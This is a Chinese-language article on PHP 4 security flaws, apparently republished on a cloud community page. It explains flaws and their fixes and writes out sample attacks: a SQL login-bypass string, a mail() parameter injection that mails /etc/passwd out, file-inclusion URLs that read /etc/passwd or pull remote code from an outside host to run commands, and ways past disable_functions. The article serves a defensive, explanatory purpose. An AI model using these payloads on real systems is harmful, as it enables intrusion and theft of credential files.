php安全之狗尾續貂

來源:互聯網
上載者:User

標籤:http   io   ar   os   使用   for   sp   檔案   資料   

Shaun Clowes的文章Exploiting Common Vulnerabilities in PHP(PHP培訓 php教程 ) Applications的確寫的很棒,

考慮到了很多方面,我這個文章只是狗尾續貂,補充一些其它沒怎麼提到的問題。本文側重於解決問題,而不是

攻擊。

1、古老的欺騙SQL語句

在預設模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php還是開啟magic_quotes_gpc=on。

這樣所有從GET/POST/Cookie來的變數的單引號(‘)、雙引號(")、反斜線backslash()以及空字元NUL

(the null byte)都會被加上反斜線,以使資料庫能夠正確查詢。

但是在php-4-RC2的時候引入了一個設定檔php.ini-optimized,這個最佳化的php.ini卻是

magic_quotes_gpc=off的。某些網管看到optimized字樣也許就會把php.ini-optimized拷到

/usr/local/lib/php.ini,這時就比較危險。象比較簡單的驗證,假設沒有過濾必要的字元:

select * from login where user=‘$HTTP_POST_VARS[user]‘ and pass=‘$HTTP_POST_VARS[pass]‘

我們就可以在使用者框和密碼框輸入1‘ or 1=‘1通過驗證了。這是非常古董的方法了,這個語句會

替換成這樣:

select * from login where user=‘1‘ or 1=‘1‘ and pass=‘1‘ or 1=‘1‘

因為or 1=‘1‘成立,所以通過了。

解決的辦法最好就是過濾所有不必要的字元,還有就是推薦對於從GET/POST/Cookie來的並且用在SQL

中的變數加一個自訂的函數:

function gpc2sql($str) {

if(get_magic_quotes_gpc()==1)

return $str;

else

return addslashes($str);

}

主要是為了你的程式能安全移植在各種系統裡。

2、mail函數的第五個參數

在php-4.0.5的時候,mail函數引入了第五個參數,用來設定在實際發送郵件的時候增加額外的命令列參數,

但是沒有很好的檢查特殊SHELL命令字元,所以出現執行命令的大問題。就像手冊裡的例子:

mail("[email protected]", "the subject", $message, "From: [email protected]$SERVER_NAME", "[email protected]$SERVERNAME");

這個是存在問題的,如果$SERVER_NAME=;mail [email protected] < /etc/passwd就能把機器的密碼發送

到我的信箱了。

這裡提醒一下,php手冊裡還有好幾個例子存在安全問題的,大家實際使用的時候不要照搬,它只是示範函數的

準系統,理解了就可以了。

對於mail函數的這個問題,最簡單的我們就不用這個第五個參數,要使用就過濾非法的字元如(;),還有就是修改

php源碼包的程式ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行:

extra_cmd=NULL

然後重新編譯。

3、UNIX版的require, include函數

win版本的require和include函數是不支援HTTP和FTP遠程檔案包含的,而UNIX版本預設都是支援遠程包含檔案。

require和include不管你是什麼副檔名的,把你包含進來就作為程式的一部分來執行。

我們在寫程式的時候為了程式的模組化,以及程式的可移植性,不可避免的用到很多require或include函數,

而且有時用變數作為參數,比如:include("$something"); 如果這時使用者能控制$something參數,而這個

參數又沒有過濾,那就慘拉。

首先可以看任何web使用者有讀許可權的檔案,假設這個程式叫http://victim/test.php,這樣我們就可以用如下

url: http://victim/test.php?something=/etc/passwd 看到/etc/passwd檔案。

另外可以利用其遠程檔案包含的功能執行命令。比如我在www.xfocus.org下建立一個檔案test.php,內容是:

,那麼我就可以用如下的url:

http://victim/test.php?something=http://www.xfocus.org/test.php?cmd=uname這種方式運行任

意的命令。

phpMyAdmin也出現了這個問題,我們可以用它看任何我們想看的檔案。但是它在include前,先用file_exist

函數判斷檔案是否存在,而這個file_exist是不支援遠程檔案的,所以上面第二種辦法無法直接使用。但是我們

可以利用apache的日誌功能,請求一個帶php代碼的url,這樣,something指定為apache的日誌也可以執行命

令了,但是apache的日誌通常比較大,有太多雜亂資訊。

http://www.securereality.com.au/sradv00008.txt提到的辦法比較巧妙,用file upload的方式把本地

的執行命令的指令碼上傳,會在伺服器的檔案上傳臨時目錄裡產生php8Ta02I之類的檔案名稱,由於這時檔案是存在的

,所以能通過file_exist函數,從而執行上傳檔案裡的執行指令碼。

所以對於include, require函數的使用一定要小心,特別是以包含的檔案以參數指定這種方式,參數絕對不能

讓使用者來控制。還有通過修改php.ini檔案去掉遠程檔案包含這個功能。這個在php-4.0.3以前用

disable-url-fopen-wrapper 在以後的版本用allow_url_fopen = off來關閉。

4、disable_function

在php-4.0.1,php.ini裡引入了一項功能disable_functions , 這個功能比較有用,可以用它禁止一些函數。

比如在php.ini裡加上disable_functions = passthru exec system popen 那麼在執行這些函數的時候

只會提示Warning: system() has been disabled for security reasons.

唉,但是也不是沒有辦法執行系統命令了。因為php採用了很多perl的特性,比如還可以用(`)來執行命令:

$output = `ls -al`;

echo "

$output

";

?>

這個只有設成safe_mode才能避免,可是可惡的safe_mode實在是限制太多了,做其它事情也有些礙手礙腳。

5、file upload

php檔案上傳的問題在文章http://www.securereality.com.au/sradv00001.html裡已經描述的很清楚了,

這的確是個比較嚴重的問題,一般我們要上傳的檔案也會放在web目錄,所以容易給攻擊者得到系統的一些web使用者

能讀的檔案。

幸虧在php-4.0.3以後提供了is_uploaded_file和move_uploaded_file函數。所以php-4.0.3以上的上傳文

件的程式一定不要再用copy函數了,用move_uploaded_file代替,它會檢查是否是上傳的檔案。如果是php-4.0.2

及以下的,建議在copy前加一個函數:

function is_uploaded_file($filename) {

if (!$tmp_file = get_cfg_var(‘upload_tmp_dir‘)) {

$tmp_file = dirname(tempnam(‘‘, ‘‘));

}

$tmp_file.=‘/‘.basename($filename);

/* User might have trailing slash in php.ini... */

return (ereg_replace(‘/+‘, ‘/‘, $tmp_file) == $filename);

}

這個漏洞在安全焦點呆了很久,只是在copy之前有很多驗證阿、判斷阿的語句,所以使之攻擊存在相當的難度,赫赫。

還有,千萬不要以環境變數、Cookie變數、session變數等作為關係生死的判斷條件,因為這些變數太容易被偽造了。

呵呵,手頭事情比較多,其它慢慢想到了再加吧,也歡迎其他同志任意的添加修改之。

參考文獻

1、PHP 4 ChangeLog (http://www.php.net/ChangeLog-4.php)

2、A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications

(http://www.securereality.com.au/studyinscarlet.txt)及analysist的翻譯。

3、Remote command execution vulnerabilities in phpMyAdmin and phpPgAdmin

(http://www.securereality.com.au/sradv00008.txt)

php安全之狗尾續貂

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.